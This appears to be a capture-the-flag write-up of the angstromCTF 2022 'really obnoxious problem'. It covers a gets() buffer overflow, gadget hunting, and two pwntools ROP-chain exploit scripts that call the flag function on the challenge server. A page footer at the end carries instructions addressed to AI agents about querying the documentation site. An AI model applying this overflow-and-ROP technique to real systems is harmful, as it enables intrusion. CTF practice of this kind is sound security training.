# Pwn - really obnoxious problem

## Description

You know the drill.

## Downloads

{% file src="/files/1NGC7QQrHp84dQMLEnEz" %}

## Solution

Didn't manage to solve this during the CTF but I should have.

The program is quite straightforward,

<div align="left"><img src="/files/WqkwC5U392bItowiNRLo" alt=""></div>

We have a buffer overflow in `gets()` because there is no boundary check. We shall use a cyclic pattern to find out what is the offset required to control `rip`.

`msf-pattern_create -l 200` to generate the cyclic pattern:

![](/files/ezoruZbpCSvjDyGVrrhb)

Using `gdb`, we find out what is in the ret address:&#x20;

![](/files/3Z2UOQn1VaGz9wngBRxz)

`msf-pattern_offset -l 200 -q 6341356341346341` to find the offset.

![](/files/KgaVqUQZg2H87A0UCA2e)

Now we have control over `rip`, it is time to find the "win" function and conveniently we have the `flag()` function available.

![](/files/75h5IE8zQARI6IdxsEas)

To "win", we need to pass in 2 arguments before calling the function and this can be done with a ROP chain. In Linux x64 calling convention, the function arguments are passed via `rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9` registers.

`ROPgadget --binary ./really_obnoxious_problem --ropchain` to find the ROP gadgets.

![](/files/fgDf2QTqoaUL79hxO4DT)

We have found 2 useful gadgets, `pop rdi; ret` and `pop rsi; pop r15; ret`.

Next we want to find the address of "bobby" which we want to populate the second argument with. This can be done from Ghidra itself.

![](/files/7OkdvwudBR5N8l775Cvl)

Now that we have everything we need, let's try to craft the exploit.

```python
from pwn import *
context.log_level = 'debug'

r = remote("challs.actf.co", 31225)
#r = process("./really_obnoxious_problem")

arg1 = p64(0x1337)
arg2 = p64(0x402004)

pop_rdi = p64(0x4013f3)
pop_rsi_r15 = p64(0x4013f1)

flag = p64(0x401256)

payload = b'A' * 72
payload += pop_rdi
payload += arg1
payload += pop_rsi_r15
payload += arg2
payload += p64(0x0)
payload += flag

r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Address: ', payload)
r.interactive()
r.close()
```

![](/files/lcRm3WOeO0bDNH9sAmrs)

Flag: `actf{so_swe3t_so_c0ld_so_f4ir_7167cfa2c019}`

## Bonus

Instead of doing all the hard work of finding the ROP gadgets and stuff `pwntools` can actually do most of the heavy lifting for us.

```python
from pwn import *

r = remote("challs.actf.co", 31225)
elf = context.binary = ELF("./really_obnoxious_problem")
context.log_level = 'debug'

offset = 72

# Create ROP object
rop = ROP(elf)

rop.flag(0x1337, next(elf.search(b'bobby')))

# Build the payload
payload = flat({
	offset: [
		rop.chain()
	]
})

# Send payload
r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Address: ', payload)

# Get flag
r.interactive()
r.close()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://arne-ctf.gitbook.io/ctf/2022/angstromctf-2022/pwn-really-obnoxious-problem.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
